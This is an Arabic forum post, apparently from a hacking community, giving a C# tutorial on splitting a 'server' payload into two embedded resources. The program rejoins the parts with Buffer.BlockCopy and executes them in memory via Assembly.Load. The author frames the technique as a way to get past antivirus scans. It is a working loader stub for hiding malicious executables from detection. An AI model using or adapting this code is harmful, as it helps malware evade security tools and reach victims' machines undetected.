07.05.2017 التعامل مع الريسورس وتقسيم البايت


  • الـلـهـم انـصـر اخـوانـنـا الـمـسـلـمـيـن فـي بـورمـا وكـن مـعـهـم يـاربـاه يـاربـاه

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
2,821
3,865
1
موضوعنا عن تقسيم الملف اللي بالريسورس الى قسمين "ان اردت تستطيع اكثر"
ومن ثم تجميعهما معا عبر مصفوفة جامعة total
عن طريق buffer.blockcopy
من اليوم وصاعدا لن يكون هنالك نتيجة تشفير
البده يصدق او لا مشكلته ..هوة يفحص ويشوف النتيجة ويحتفظ فيها لنفسه
مثل ماقلت موضوعنا تقسيم السيرفر الى عدة اقسام 2 مثلا
كيف تقسمه عن طريق الهكس
وبعدها غير الامتداد ان حبيت لـrar وضع الملفين في الريسورس او الامبيديد ريسورس
رح تفهم كيف بس تشوف الشروحات بالموضوعين السابقين
بعد ماتحطهم بالريسورس هنا الكود



C#:
using System;
namespace WindowsFormsApp73
{
    static class Program
    {
        [STAThread]
        static void Main()
        {
            var b = Properties.Resources.rar;
            var c = Properties.Resources.rar2;
            System.Reflection.Assembly.Load(gg(b,c)).EntryPoint.Invoke(null, null);
        }
        static byte[] gg(byte[] b , byte[] c)
        {
          byte[]  total = new byte[b.Length + c.Length]; Buffer.BlockCopy(b, 0, total, 0, b.Length); Buffer.BlockCopy(c, 0, total, b.Length, c.Length);
            return total;
        }
    }
}
شرح الكود عرفنا الملف الاول والثاني ك بايت ..var لحاله بيفهم السي شارب انها بايت
حسب الجهة الثانية من المساواة
ومن ثم نقطة ادخال
وتحت فيه فانكشن وظيفتها انها بتجمع اي مصفوفتين بايت وبتحطهم بمصفوفة جامعة total
ومثل مشايفين استخدمت الفانكشن عند عمل load يعني بالذاكرة رح يتم التجميع
هنا فديو يشرح العملية

 

المرفقات